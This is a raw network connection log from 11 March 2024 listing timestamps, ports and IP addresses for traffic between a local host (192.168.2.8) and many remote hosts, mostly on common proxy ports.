Mar 11, 2024 18:36:45.847363949 CET	50987	23313	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:45.847393036 CET	3128	50569	3.212.148.199	192.168.2.8
Mar 11, 2024 18:36:45.847404003 CET	50648	1976	192.168.2.8	41.65.55.10
Mar 11, 2024 18:36:45.848001957 CET	50988	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.848654985 CET	11339	50745	67.43.228.251	192.168.2.8
Mar 11, 2024 18:36:45.849282026 CET	3128	50569	3.212.148.199	192.168.2.8
Mar 11, 2024 18:36:45.849559069 CET	3128	50495	159.203.61.169	192.168.2.8
Mar 11, 2024 18:36:45.849898100 CET	50569	3128	192.168.2.8	3.212.148.199
Mar 11, 2024 18:36:45.852678061 CET	80	50685	50.174.214.222	192.168.2.8
Mar 11, 2024 18:36:45.852766037 CET	31679	49849	98.162.25.29	192.168.2.8
Mar 11, 2024 18:36:45.852894068 CET	5034	50252	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:45.853024006 CET	49849	31679	192.168.2.8	98.162.25.29
Mar 11, 2024 18:36:45.853120089 CET	80	50794	50.207.199.87	192.168.2.8
Mar 11, 2024 18:36:45.853461027 CET	80	50755	50.175.212.79	192.168.2.8
Mar 11, 2024 18:36:45.853521109 CET	49849	31679	192.168.2.8	98.162.25.29
Mar 11, 2024 18:36:45.857012987 CET	50989	8000	192.168.2.8	198.199.83.206
Mar 11, 2024 18:36:45.860186100 CET	80	49977	50.172.75.125	192.168.2.8
Mar 11, 2024 18:36:45.862302065 CET	80	50018	50.168.210.239	192.168.2.8
Mar 11, 2024 18:36:45.862469912 CET	50132	55066	192.168.2.8	167.86.115.103
Mar 11, 2024 18:36:45.862473011 CET	50031	57391	192.168.2.8	164.92.86.113
Mar 11, 2024 18:36:45.862484932 CET	50033	19058	192.168.2.8	195.154.43.184
Mar 11, 2024 18:36:45.862492085 CET	50035	3128	192.168.2.8	103.231.248.98
Mar 11, 2024 18:36:45.862546921 CET	50264	49401	192.168.2.8	162.241.46.40
Mar 11, 2024 18:36:45.862549067 CET	50042	8089	192.168.2.8	111.225.152.42
Mar 11, 2024 18:36:45.862581968 CET	49765	4495	192.168.2.8	67.43.228.252
Mar 11, 2024 18:36:45.862581968 CET	50229	4711	192.168.2.8	67.43.227.227
Mar 11, 2024 18:36:45.862582922 CET	50028	8088	192.168.2.8	179.43.8.16
Mar 11, 2024 18:36:45.862581968 CET	50034	42581	192.168.2.8	207.180.198.241
Mar 11, 2024 18:36:45.862591028 CET	50025	80	192.168.2.8	45.224.247.102
Mar 11, 2024 18:36:45.862606049 CET	50040	11070	192.168.2.8	147.124.212.31
Mar 11, 2024 18:36:45.864017963 CET	4145	50710	72.195.34.41	192.168.2.8
Mar 11, 2024 18:36:45.864547968 CET	8080	50265	91.202.230.219	192.168.2.8
Mar 11, 2024 18:36:45.864590883 CET	8080	50265	91.202.230.219	192.168.2.8
Mar 11, 2024 18:36:45.864686966 CET	50710	4145	192.168.2.8	72.195.34.41
Mar 11, 2024 18:36:45.865246058 CET	50710	4145	192.168.2.8	72.195.34.41
Mar 11, 2024 18:36:45.865513086 CET	50990	80	192.168.2.8	45.12.30.231
Mar 11, 2024 18:36:45.865817070 CET	8000	50677	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:45.865894079 CET	50991	8080	192.168.2.8	91.202.230.219
Mar 11, 2024 18:36:45.865900040 CET	50677	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:45.866132021 CET	50677	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:45.866704941 CET	3129	49835	20.204.212.76	192.168.2.8
Mar 11, 2024 18:36:45.866765976 CET	8000	50054	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:45.866867065 CET	4145	50725	174.75.211.222	192.168.2.8
Mar 11, 2024 18:36:45.867007017 CET	50725	4145	192.168.2.8	174.75.211.222
Mar 11, 2024 18:36:45.869115114 CET	50725	4145	192.168.2.8	174.75.211.222
Mar 11, 2024 18:36:45.870677948 CET	15673	50809	198.23.229.203	192.168.2.8
Mar 11, 2024 18:36:45.870810032 CET	50809	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:45.871155024 CET	16379	50098	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:45.871184111 CET	50809	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:45.871206045 CET	16379	50098	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:45.872155905 CET	50992	8081	192.168.2.8	185.49.31.207
Mar 11, 2024 18:36:45.874670029 CET	50993	2853	192.168.2.8	188.165.252.198
Mar 11, 2024 18:36:45.875535011 CET	3128	50495	159.203.61.169	192.168.2.8
Mar 11, 2024 18:36:45.876081944 CET	50994	6332	192.168.2.8	38.45.44.51
Mar 11, 2024 18:36:45.876156092 CET	80	50686	104.25.42.178	192.168.2.8
Mar 11, 2024 18:36:45.876231909 CET	80	50686	104.25.42.178	192.168.2.8
Mar 11, 2024 18:36:45.876564026 CET	80	50686	104.25.42.178	192.168.2.8
Mar 11, 2024 18:36:45.876907110 CET	8000	50054	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:45.876933098 CET	50686	80	192.168.2.8	104.25.42.178
Mar 11, 2024 18:36:45.877017975 CET	50686	80	192.168.2.8	104.25.42.178
Mar 11, 2024 18:36:45.878103018 CET	49880	3128	192.168.2.8	18.134.236.231
Mar 11, 2024 18:36:45.878103971 CET	50032	999	192.168.2.8	200.52.148.10
Mar 11, 2024 18:36:45.878120899 CET	50045	3128	192.168.2.8	113.100.209.184
Mar 11, 2024 18:36:45.878120899 CET	50027	7777	192.168.2.8	111.8.155.54
Mar 11, 2024 18:36:45.878175974 CET	50037	83	192.168.2.8	103.159.46.2
Mar 11, 2024 18:36:45.878482103 CET	50038	25847	192.168.2.8	62.171.131.101
Mar 11, 2024 18:36:45.878956079 CET	50995	5678	192.168.2.8	201.221.134.74
Mar 11, 2024 18:36:45.879307032 CET	80	50693	104.19.225.70	192.168.2.8
Mar 11, 2024 18:36:45.879343987 CET	80	50693	104.19.225.70	192.168.2.8
Mar 11, 2024 18:36:45.879434109 CET	80	50562	31.43.179.160	192.168.2.8
Mar 11, 2024 18:36:45.879714966 CET	50693	80	192.168.2.8	104.19.225.70
Mar 11, 2024 18:36:45.880728960 CET	80	50693	104.19.225.70	192.168.2.8
Mar 11, 2024 18:36:45.880816936 CET	50693	80	192.168.2.8	104.19.225.70
Mar 11, 2024 18:36:45.881926060 CET	50996	4145	192.168.2.8	199.102.104.70
Mar 11, 2024 18:36:45.882136106 CET	80	49971	52.196.1.182	192.168.2.8
Mar 11, 2024 18:36:45.882466078 CET	4145	50748	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:45.882622004 CET	50748	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:45.883384943 CET	50748	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:45.886753082 CET	50997	36363	192.168.2.8	51.222.241.157
Mar 11, 2024 18:36:45.887257099 CET	50998	20473	192.168.2.8	45.77.99.122
Mar 11, 2024 18:36:45.889862061 CET	80	49948	50.170.90.24	192.168.2.8
Mar 11, 2024 18:36:45.890252113 CET	50999	32896	192.168.2.8	91.134.140.160
Mar 11, 2024 18:36:45.890345097 CET	999	49845	181.65.169.37	192.168.2.8
Mar 11, 2024 18:36:45.890575886 CET	49845	999	192.168.2.8	181.65.169.37
Mar 11, 2024 18:36:45.890974045 CET	49845	999	192.168.2.8	181.65.169.37
Mar 11, 2024 18:36:45.891161919 CET	51000	8085	192.168.2.8	179.48.80.9
Mar 11, 2024 18:36:45.891396046 CET	5369	50774	72.10.160.171	192.168.2.8
Mar 11, 2024 18:36:45.892121077 CET	80	50587	104.25.87.42	192.168.2.8
Mar 11, 2024 18:36:45.892209053 CET	23685	50780	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:45.892237902 CET	80	50585	185.238.228.202	192.168.2.8
Mar 11, 2024 18:36:45.892524958 CET	3128	50690	52.67.10.183	192.168.2.8
Mar 11, 2024 18:36:45.892869949 CET	50690	3128	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:45.893151045 CET	50690	3128	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:45.893212080 CET	1372	50799	159.223.166.21	192.168.2.8
Mar 11, 2024 18:36:45.893284082 CET	50799	1372	192.168.2.8	159.223.166.21
Mar 11, 2024 18:36:45.893435955 CET	80	50222	8.222.239.209	192.168.2.8
Mar 11, 2024 18:36:45.893469095 CET	50799	1372	192.168.2.8	159.223.166.21
Mar 11, 2024 18:36:45.893547058 CET	80	50326	186.124.164.213	192.168.2.8
Mar 11, 2024 18:36:45.893629074 CET	80	50326	186.124.164.213	192.168.2.8
Mar 11, 2024 18:36:45.893714905 CET	49782	50605	192.168.2.8	51.81.89.146
Mar 11, 2024 18:36:45.893726110 CET	50156	80	192.168.2.8	50.170.90.28
Mar 11, 2024 18:36:45.893729925 CET	50302	4145	192.168.2.8	142.54.229.249
Mar 11, 2024 18:36:45.893733025 CET	50050	999	192.168.2.8	167.249.29.218
Mar 11, 2024 18:36:45.893788099 CET	50043	16379	192.168.2.8	51.15.142.4
Mar 11, 2024 18:36:45.893795013 CET	50046	9064	192.168.2.8	172.104.145.22
Mar 11, 2024 18:36:45.893802881 CET	50052	27262	192.168.2.8	162.144.121.232
Mar 11, 2024 18:36:45.893805027 CET	49777	28971	192.168.2.8	67.43.228.254
Mar 11, 2024 18:36:45.893817902 CET	50048	80	192.168.2.8	103.96.38.161
Mar 11, 2024 18:36:45.894644022 CET	51001	4145	192.168.2.8	199.229.254.129
Mar 11, 2024 18:36:45.895051003 CET	51002	80	192.168.2.8	186.124.164.213
Mar 11, 2024 18:36:45.895632029 CET	80	50222	8.222.239.209	192.168.2.8
Mar 11, 2024 18:36:45.895654917 CET	80	50222	8.222.239.209	192.168.2.8
Mar 11, 2024 18:36:45.895729065 CET	50222	80	192.168.2.8	8.222.239.209
Mar 11, 2024 18:36:45.895931959 CET	50222	80	192.168.2.8	8.222.239.209
Mar 11, 2024 18:36:45.896276951 CET	80	50333	54.152.3.36	192.168.2.8
Mar 11, 2024 18:36:45.896821022 CET	80	50588	104.21.223.181	192.168.2.8
Mar 11, 2024 18:36:45.897085905 CET	3128	50173	41.223.232.117	192.168.2.8
Mar 11, 2024 18:36:45.897701025 CET	51003	38801	192.168.2.8	113.101.255.100
Mar 11, 2024 18:36:45.899657011 CET	5678	50303	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:45.899818897 CET	50333	80	192.168.2.8	54.152.3.36
Mar 11, 2024 18:36:45.901098967 CET	3128	50495	159.203.61.169	192.168.2.8
Mar 11, 2024 18:36:45.901246071 CET	50495	3128	192.168.2.8	159.203.61.169
Mar 11, 2024 18:36:45.901424885 CET	50495	3128	192.168.2.8	159.203.61.169
Mar 11, 2024 18:36:45.901427031 CET	5678	50303	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:45.901668072 CET	4145	50778	74.119.147.209	192.168.2.8
Mar 11, 2024 18:36:45.901776075 CET	18129	50825	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:45.901864052 CET	50778	4145	192.168.2.8	74.119.147.209
Mar 11, 2024 18:36:45.902137995 CET	50778	4145	192.168.2.8	74.119.147.209
Mar 11, 2024 18:36:45.903739929 CET	51004	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:45.904208899 CET	8080	50819	177.229.210.50	192.168.2.8
Mar 11, 2024 18:36:45.904535055 CET	51005	58703	192.168.2.8	67.213.210.118
Mar 11, 2024 18:36:45.904619932 CET	51006	3128	192.168.2.8	38.54.95.19
Mar 11, 2024 18:36:45.904793024 CET	80	50852	34.75.202.63	192.168.2.8
Mar 11, 2024 18:36:45.904983997 CET	16379	50724	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:45.905122042 CET	44607	49710	162.241.6.97	192.168.2.8
Mar 11, 2024 18:36:45.905147076 CET	50724	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:45.905385017 CET	50724	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:45.906740904 CET	1080	50678	195.98.93.234	192.168.2.8
Mar 11, 2024 18:36:45.906958103 CET	26693	50839	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:45.909049988 CET	51007	4153	192.168.2.8	190.15.216.237
Mar 11, 2024 18:36:45.909590960 CET	50051	16823	192.168.2.8	167.86.102.169
Mar 11, 2024 18:36:45.909610033 CET	50309	80	192.168.2.8	50.231.104.58
Mar 11, 2024 18:36:45.909610033 CET	49727	80	192.168.2.8	50.217.226.43
Mar 11, 2024 18:36:45.909610033 CET	50189	49775	192.168.2.8	138.201.21.232
Mar 11, 2024 18:36:45.909610033 CET	50170	59268	192.168.2.8	67.213.212.50
Mar 11, 2024 18:36:45.909611940 CET	50056	10080	192.168.2.8	81.19.3.249
Mar 11, 2024 18:36:45.909610033 CET	49797	80	192.168.2.8	50.239.72.19
Mar 11, 2024 18:36:45.909720898 CET	50206	42331	192.168.2.8	206.189.9.30
Mar 11, 2024 18:36:45.909831047 CET	50061	8080	192.168.2.8	74.62.179.122
Mar 11, 2024 18:36:45.909883976 CET	51008	4153	192.168.2.8	14.161.17.4
Mar 11, 2024 18:36:45.910340071 CET	80	49915	103.152.112.145	192.168.2.8
Mar 11, 2024 18:36:45.910370111 CET	51009	3128	192.168.2.8	68.183.180.222
Mar 11, 2024 18:36:45.910430908 CET	49915	80	192.168.2.8	103.152.112.145
Mar 11, 2024 18:36:45.910682917 CET	28723	50846	67.43.227.227	192.168.2.8
Mar 11, 2024 18:36:45.911138058 CET	51010	52326	192.168.2.8	132.148.16.169
Mar 11, 2024 18:36:45.911634922 CET	8080	50720	51.68.220.201	192.168.2.8
Mar 11, 2024 18:36:45.911745071 CET	50720	8080	192.168.2.8	51.68.220.201
Mar 11, 2024 18:36:45.912077904 CET	50720	8080	192.168.2.8	51.68.220.201
Mar 11, 2024 18:36:45.912760019 CET	49202	50363	51.161.131.84	192.168.2.8
Mar 11, 2024 18:36:45.912935972 CET	49202	50363	51.161.131.84	192.168.2.8
Mar 11, 2024 18:36:45.913115978 CET	51011	80	192.168.2.8	162.159.246.135
Mar 11, 2024 18:36:45.913467884 CET	80	50926	162.159.241.5	192.168.2.8
Mar 11, 2024 18:36:45.913908005 CET	51012	49202	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:45.913908958 CET	50926	80	192.168.2.8	162.159.241.5
Mar 11, 2024 18:36:45.914052963 CET	3128	50167	80.251.219.40	192.168.2.8
Mar 11, 2024 18:36:45.914187908 CET	50926	80	192.168.2.8	162.159.241.5
Mar 11, 2024 18:36:45.914860964 CET	80	50770	50.168.163.180	192.168.2.8
Mar 11, 2024 18:36:45.915235996 CET	4145	50536	184.181.217.206	192.168.2.8
Mar 11, 2024 18:36:45.915990114 CET	1080	50251	54.212.22.168	192.168.2.8
Mar 11, 2024 18:36:45.916110039 CET	4145	49885	184.178.172.14	192.168.2.8
Mar 11, 2024 18:36:45.916181087 CET	51013	1951	192.168.2.8	178.33.163.156
Mar 11, 2024 18:36:45.916203022 CET	49885	4145	192.168.2.8	184.178.172.14
Mar 11, 2024 18:36:45.916562080 CET	4145	50536	184.181.217.206	192.168.2.8
Mar 11, 2024 18:36:45.916702986 CET	49885	4145	192.168.2.8	184.178.172.14
Mar 11, 2024 18:36:45.916739941 CET	80	50117	50.145.6.36	192.168.2.8
Mar 11, 2024 18:36:45.916903973 CET	80	50609	104.16.109.207	192.168.2.8
Mar 11, 2024 18:36:45.917643070 CET	4145	50921	142.54.231.38	192.168.2.8
Mar 11, 2024 18:36:45.918145895 CET	8080	50920	47.88.3.19	192.168.2.8
Mar 11, 2024 18:36:45.918299913 CET	50920	8080	192.168.2.8	47.88.3.19
Mar 11, 2024 18:36:45.918770075 CET	50920	8080	192.168.2.8	47.88.3.19
Mar 11, 2024 18:36:45.918772936 CET	51014	4145	192.168.2.8	184.181.217.206
Mar 11, 2024 18:36:45.919190884 CET	5931	50861	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:45.919368029 CET	18080	50709	152.32.130.117	192.168.2.8
Mar 11, 2024 18:36:45.919460058 CET	50709	18080	192.168.2.8	152.32.130.117
Mar 11, 2024 18:36:45.919790983 CET	50709	18080	192.168.2.8	152.32.130.117
Mar 11, 2024 18:36:45.920058966 CET	51015	8080	192.168.2.8	197.232.47.122
Mar 11, 2024 18:36:45.920851946 CET	80	50719	104.22.50.220	192.168.2.8
Mar 11, 2024 18:36:45.920914888 CET	80	50719	104.22.50.220	192.168.2.8
Mar 11, 2024 18:36:45.921351910 CET	50719	80	192.168.2.8	104.22.50.220
Mar 11, 2024 18:36:45.922681093 CET	80	50719	104.22.50.220	192.168.2.8
Mar 11, 2024 18:36:45.922755003 CET	50719	80	192.168.2.8	104.22.50.220
Mar 11, 2024 18:36:45.924428940 CET	51016	3128	192.168.2.8	37.156.146.163
Mar 11, 2024 18:36:45.924973965 CET	50058	5678	192.168.2.8	58.84.32.118
Mar 11, 2024 18:36:45.924985886 CET	50064	58275	192.168.2.8	162.214.191.209
Mar 11, 2024 18:36:45.924988985 CET	50059	8080	192.168.2.8	103.77.50.168
Mar 11, 2024 18:36:45.924999952 CET	49789	32221	192.168.2.8	67.43.228.254
Mar 11, 2024 18:36:45.925005913 CET	49787	31033	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:45.925024986 CET	50072	8080	192.168.2.8	98.64.169.17
Mar 11, 2024 18:36:45.925043106 CET	49971	80	192.168.2.8	52.196.1.182
Mar 11, 2024 18:36:45.925498962 CET	51017	8080	192.168.2.8	93.43.193.230
Mar 11, 2024 18:36:45.926507950 CET	80	50871	50.168.72.122	192.168.2.8
Mar 11, 2024 18:36:45.926551104 CET	10049	50869	67.43.227.227	192.168.2.8
Mar 11, 2024 18:36:45.926595926 CET	8080	50322	95.84.166.138	192.168.2.8
Mar 11, 2024 18:36:45.926775932 CET	8080	50322	95.84.166.138	192.168.2.8
Mar 11, 2024 18:36:45.926851034 CET	8080	50322	95.84.166.138	192.168.2.8
Mar 11, 2024 18:36:45.927083969 CET	50322	8080	192.168.2.8	95.84.166.138
Mar 11, 2024 18:36:45.929610014 CET	3128	50468	18.135.211.182	192.168.2.8
Mar 11, 2024 18:36:45.930115938 CET	64523	50740	46.105.44.29	192.168.2.8
Mar 11, 2024 18:36:45.935038090 CET	4145	50827	72.210.221.197	192.168.2.8
Mar 11, 2024 18:36:45.935143948 CET	50827	4145	192.168.2.8	72.210.221.197
Mar 11, 2024 18:36:45.936558008 CET	37355	49992	167.172.109.12	192.168.2.8
Mar 11, 2024 18:36:45.936779976 CET	9080	50879	38.54.95.19	192.168.2.8
Mar 11, 2024 18:36:45.936907053 CET	50879	9080	192.168.2.8	38.54.95.19
Mar 11, 2024 18:36:45.938604116 CET	3128	50205	13.208.168.179	192.168.2.8
Mar 11, 2024 18:36:45.940419912 CET	5678	49881	176.119.227.65	192.168.2.8
Mar 11, 2024 18:36:45.940597057 CET	50247	5678	192.168.2.8	191.97.2.198
Mar 11, 2024 18:36:45.940598965 CET	50298	22500	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:45.940613031 CET	50063	2016	192.168.2.8	103.83.178.205
Mar 11, 2024 18:36:45.940613031 CET	50127	8000	192.168.2.8	103.182.112.11
Mar 11, 2024 18:36:45.940613985 CET	50228	5096	192.168.2.8	165.154.227.154
Mar 11, 2024 18:36:45.940614939 CET	50103	4153	192.168.2.8	203.76.117.74
Mar 11, 2024 18:36:45.940619946 CET	50068	8080	192.168.2.8	94.186.234.236
Mar 11, 2024 18:36:45.940660000 CET	50073	8123	192.168.2.8	119.81.71.27
Mar 11, 2024 18:36:45.940668106 CET	49915	80	192.168.2.8	103.152.112.145
Mar 11, 2024 18:36:45.940668106 CET	50075	42539	192.168.2.8	86.110.189.118
Mar 11, 2024 18:36:45.942429066 CET	5432	50885	45.196.148.67	192.168.2.8
Mar 11, 2024 18:36:45.942513943 CET	50885	5432	192.168.2.8	45.196.148.67
Mar 11, 2024 18:36:45.942785025 CET	8080	50382	91.148.127.162	192.168.2.8
Mar 11, 2024 18:36:45.943484068 CET	50382	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:45.945149899 CET	5432	50399	45.196.151.84	192.168.2.8
Mar 11, 2024 18:36:45.945280075 CET	8080	50382	91.148.127.162	192.168.2.8
Mar 11, 2024 18:36:45.945813894 CET	31908	49791	64.227.108.25	192.168.2.8
Mar 11, 2024 18:36:45.946342945 CET	3128	50468	18.135.211.182	192.168.2.8
Mar 11, 2024 18:36:45.946410894 CET	80	50940	50.207.199.85	192.168.2.8
Mar 11, 2024 18:36:45.946424007 CET	31908	49791	64.227.108.25	192.168.2.8
Mar 11, 2024 18:36:45.946481943 CET	49791	31908	192.168.2.8	64.227.108.25
Mar 11, 2024 18:36:45.946981907 CET	7853	50100	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:45.950057030 CET	18080	50578	54.178.159.199	192.168.2.8
Mar 11, 2024 18:36:45.950104952 CET	80	50742	172.67.182.107	192.168.2.8
Mar 11, 2024 18:36:45.950141907 CET	50578	18080	192.168.2.8	54.178.159.199
Mar 11, 2024 18:36:45.950145960 CET	80	50742	172.67.182.107	192.168.2.8
Mar 11, 2024 18:36:45.950407982 CET	80	50742	172.67.182.107	192.168.2.8
Mar 11, 2024 18:36:45.950462103 CET	80	50656	104.16.108.42	192.168.2.8
Mar 11, 2024 18:36:45.950519085 CET	50742	80	192.168.2.8	172.67.182.107
Mar 11, 2024 18:36:45.951064110 CET	80	50733	172.67.127.188	192.168.2.8
Mar 11, 2024 18:36:45.951107025 CET	80	50733	172.67.127.188	192.168.2.8
Mar 11, 2024 18:36:45.951628923 CET	14921	50135	192.252.211.197	192.168.2.8
Mar 11, 2024 18:36:45.951677084 CET	80	50733	172.67.127.188	192.168.2.8
Mar 11, 2024 18:36:45.952025890 CET	50733	80	192.168.2.8	172.67.127.188
Mar 11, 2024 18:36:45.952824116 CET	50322	8080	192.168.2.8	95.84.166.138
Mar 11, 2024 18:36:45.954133987 CET	5430	50728	202.179.184.44	192.168.2.8
Mar 11, 2024 18:36:45.954344988 CET	50728	5430	192.168.2.8	202.179.184.44
Mar 11, 2024 18:36:45.954493046 CET	50827	4145	192.168.2.8	72.210.221.197
Mar 11, 2024 18:36:45.955235958 CET	50879	9080	192.168.2.8	38.54.95.19
Mar 11, 2024 18:36:45.955545902 CET	50382	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:45.955790997 CET	50885	5432	192.168.2.8	45.196.148.67
Mar 11, 2024 18:36:45.956233025 CET	50250	80	192.168.2.8	50.217.226.44
Mar 11, 2024 18:36:45.956238031 CET	50076	8082	192.168.2.8	58.69.201.117
Mar 11, 2024 18:36:45.956243038 CET	50236	8181	192.168.2.8	43.132.184.228
Mar 11, 2024 18:36:45.956264973 CET	50081	8080	192.168.2.8	93.42.151.10
Mar 11, 2024 18:36:45.956273079 CET	50078	8089	192.168.2.8	77.242.24.241
Mar 11, 2024 18:36:45.956273079 CET	50079	8080	192.168.2.8	122.52.196.36
Mar 11, 2024 18:36:45.956273079 CET	50082	1080	192.168.2.8	202.6.224.52
Mar 11, 2024 18:36:45.956273079 CET	50083	60080	192.168.2.8	87.255.200.108
Mar 11, 2024 18:36:45.956279993 CET	50085	44523	192.168.2.8	192.99.207.129
Mar 11, 2024 18:36:45.956330061 CET	50251	1080	192.168.2.8	54.212.22.168
Mar 11, 2024 18:36:45.957441092 CET	50241	80	192.168.2.8	141.147.33.121
Mar 11, 2024 18:36:45.957451105 CET	50086	80	192.168.2.8	5.189.184.6
Mar 11, 2024 18:36:45.957453966 CET	50366	8080	192.168.2.8	5.78.89.192
Mar 11, 2024 18:36:45.957456112 CET	50084	5678	192.168.2.8	197.211.244.135
Mar 11, 2024 18:36:45.958148003 CET	3128	49891	94.131.106.196	192.168.2.8
Mar 11, 2024 18:36:45.958209991 CET	51018	80	192.168.2.8	185.162.229.70
Mar 11, 2024 18:36:45.958249092 CET	49891	3128	192.168.2.8	94.131.106.196
Mar 11, 2024 18:36:45.958826065 CET	4145	49947	36.90.61.224	192.168.2.8
Mar 11, 2024 18:36:45.959695101 CET	49791	31908	192.168.2.8	64.227.108.25
Mar 11, 2024 18:36:45.959698915 CET	51019	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:45.960103989 CET	3128	50773	134.209.29.120	192.168.2.8
Mar 11, 2024 18:36:45.960211992 CET	50773	3128	192.168.2.8	134.209.29.120
Mar 11, 2024 18:36:45.960828066 CET	50578	18080	192.168.2.8	54.178.159.199
Mar 11, 2024 18:36:45.960851908 CET	51020	31908	192.168.2.8	64.227.108.25
Mar 11, 2024 18:36:45.961900949 CET	8193	50467	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:45.961914062 CET	8193	50467	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:45.961991072 CET	50742	80	192.168.2.8	172.67.182.107
Mar 11, 2024 18:36:45.962675095 CET	17893	50106	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:45.962836027 CET	50733	80	192.168.2.8	172.67.127.188
Mar 11, 2024 18:36:45.963645935 CET	8193	50467	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:45.963767052 CET	50467	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:45.963936090 CET	50728	5430	192.168.2.8	202.179.184.44
Mar 11, 2024 18:36:45.964576960 CET	22645	50907	67.43.236.18	192.168.2.8
Mar 11, 2024 18:36:45.964790106 CET	8888	50412	120.79.101.0	192.168.2.8
Mar 11, 2024 18:36:45.965018034 CET	49891	3128	192.168.2.8	94.131.106.196
Mar 11, 2024 18:36:45.965228081 CET	50773	3128	192.168.2.8	134.209.29.120
Mar 11, 2024 18:36:45.965389013 CET	50467	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:45.965965033 CET	80	50970	104.16.104.12	192.168.2.8
Mar 11, 2024 18:36:45.966053009 CET	50970	80	192.168.2.8	104.16.104.12
Mar 11, 2024 18:36:45.966562986 CET	50412	8888	192.168.2.8	120.79.101.0
Mar 11, 2024 18:36:45.966707945 CET	8888	50412	120.79.101.0	192.168.2.8
Mar 11, 2024 18:36:45.966809988 CET	50412	8888	192.168.2.8	120.79.101.0
Mar 11, 2024 18:36:45.967905998 CET	80	50841	50.174.145.14	192.168.2.8
Mar 11, 2024 18:36:45.967941046 CET	50970	80	192.168.2.8	104.16.104.12
Mar 11, 2024 18:36:45.969187975 CET	4145	50224	199.102.106.94	192.168.2.8
Mar 11, 2024 18:36:45.971883059 CET	50057	6014	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:45.971884012 CET	50205	3128	192.168.2.8	13.208.168.179
Mar 11, 2024 18:36:45.971914053 CET	50080	25485	192.168.2.8	172.93.111.235
Mar 11, 2024 18:36:45.971915960 CET	50372	999	192.168.2.8	189.173.223.225
Mar 11, 2024 18:36:45.971918106 CET	50374	60200	192.168.2.8	162.241.137.197
Mar 11, 2024 18:36:45.972172022 CET	4145	50201	199.102.107.145	192.168.2.8
Mar 11, 2024 18:36:45.972332954 CET	50201	4145	192.168.2.8	199.102.107.145
Mar 11, 2024 18:36:45.972489119 CET	46919	50822	51.15.16.96	192.168.2.8
Mar 11, 2024 18:36:45.972569942 CET	80	50731	139.99.244.154	192.168.2.8
Mar 11, 2024 18:36:45.973095894 CET	50731	80	192.168.2.8	139.99.244.154
Mar 11, 2024 18:36:45.973261118 CET	50201	4145	192.168.2.8	199.102.107.145
Mar 11, 2024 18:36:45.973584890 CET	50731	80	192.168.2.8	139.99.244.154
Mar 11, 2024 18:36:45.973707914 CET	80	50499	3.127.62.252	192.168.2.8
Mar 11, 2024 18:36:45.973901987 CET	15082	49718	45.77.111.135	192.168.2.8
Mar 11, 2024 18:36:45.974284887 CET	80	50766	50.170.90.34	192.168.2.8
Mar 11, 2024 18:36:45.975300074 CET	58386	49847	5.44.42.115	192.168.2.8
Mar 11, 2024 18:36:45.975449085 CET	80	50284	182.72.203.255	192.168.2.8
Mar 11, 2024 18:36:45.976408958 CET	80	50499	3.127.62.252	192.168.2.8
Mar 11, 2024 18:36:45.978099108 CET	80	50767	123.110.158.236	192.168.2.8
Mar 11, 2024 18:36:45.978135109 CET	24279	50118	67.43.228.251	192.168.2.8
Mar 11, 2024 18:36:45.978286982 CET	80	50792	104.27.26.29	192.168.2.8
Mar 11, 2024 18:36:45.978313923 CET	50767	80	192.168.2.8	123.110.158.236
Mar 11, 2024 18:36:45.978400946 CET	80	50792	104.27.26.29	192.168.2.8
Mar 11, 2024 18:36:45.978566885 CET	1431	50125	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:45.978614092 CET	46656	50944	38.127.179.126	192.168.2.8
Mar 11, 2024 18:36:45.978674889 CET	80	50792	104.27.26.29	192.168.2.8
Mar 11, 2024 18:36:45.978837967 CET	50792	80	192.168.2.8	104.27.26.29
Mar 11, 2024 18:36:45.980227947 CET	80	50800	104.27.37.131	192.168.2.8
Mar 11, 2024 18:36:45.980336905 CET	80	50800	104.27.37.131	192.168.2.8
Mar 11, 2024 18:36:45.981373072 CET	80	50800	104.27.37.131	192.168.2.8
Mar 11, 2024 18:36:45.981431007 CET	15303	50621	184.178.172.5	192.168.2.8
Mar 11, 2024 18:36:45.981442928 CET	15303	50621	184.178.172.5	192.168.2.8
Mar 11, 2024 18:36:45.982177019 CET	16379	50539	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:45.982233047 CET	16379	50539	163.172.171.22	192.168.2.8
